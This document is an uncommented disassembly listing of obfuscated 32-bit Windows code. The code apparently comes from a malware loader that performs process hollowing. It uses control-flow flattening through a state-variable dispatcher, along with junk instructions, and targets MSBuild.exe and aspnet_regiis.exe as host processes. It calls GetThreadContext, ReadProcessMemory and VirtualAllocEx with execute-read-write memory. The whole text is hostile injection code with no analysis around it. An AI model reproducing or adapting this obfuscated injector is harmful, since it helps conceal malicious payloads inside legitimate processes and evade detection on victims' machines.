xor ecx, ecx
sub ecx, 1
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xb8]
mov dword [eax], ecx
mov dword [ebp - 0x108], 0x6d903073
jmp 0x100047a0
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x108], 0x6cafd02b
jmp 0x100047a0
mov dword [ebp - 0x108], 0x62310855
jmp 0x100047a0
mov eax, dword [0x10066d38]
mov ecx, dword [0x10066d34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe63ce3f1
mov ecx, 0x2844f7f8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x100047a0
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10004cd0
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [ebp - 0x108], 0xedf047bc
jmp 0x100047a0
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0x108], 0x25321fab
jmp 0x100047a0
mov eax, dword [ebp - 0xec]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [eax], ecx
mov eax, dword [ebp - 0xf0]
mov dword [ebp - 0x108], 0x658e66dc
jmp 0x100047a0
mov eax, dword [ebp - 0xec]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov dword [ebp - 0x108], 0xe29da428
jmp 0x100047a0
mov eax, dword [ebp - 0xf8]
mov ecx, dword [eax + 4]
mov eax, dword [ebp - 0x90]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov dword [ebp - 0x108], 0xac674c66
jmp 0x100047a0
mov eax, dword [ebp - 0x88]
mov ecx, dword [eax + 4]
mov eax, dword [ebp - 0xe0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov edx, dword [eax + 0x34]
mov eax, dword [ebp - 0xf8]
mov esi, dword [eax]
mov eax, dword [ebp - 0xdc]
lea ecx, [ebp - 0x14]
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0xfc]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x34]
mov edx, dword [ebp - 0xf8]
mov edx, dword [edx]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xe4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0x108], 0x6939b7b5
jmp 0x100047a0
mov eax, dword [ebp - 0xd0]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 8
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xc4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
sub ecx, 0xdcda919d
sub ecx, 8
add ecx, 0xdcda919d
shr ecx, 1
mov eax, dword [ebp - 0xc0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe4]
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0x108], 0x569b4ffd
jmp 0x100047a0
mov eax, dword [ebp - 0x40]
mov eax, dword [eax + 0x34]
mov ecx, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x44]
sub ecx, 0x9fd5c7e6
sub ecx, eax
add ecx, 0x9fd5c7e6
mov eax, dword [ebp - 0xbc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xb8]
mov dword [eax], 0
mov dword [ebp - 0x108], 0xd79b2046
jmp 0x100047a0
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0x108], 0x39e6db7b
jmp 0x100047a0
mov dword [ebp - 0x108], 0x2731e5b4
jmp 0x10002330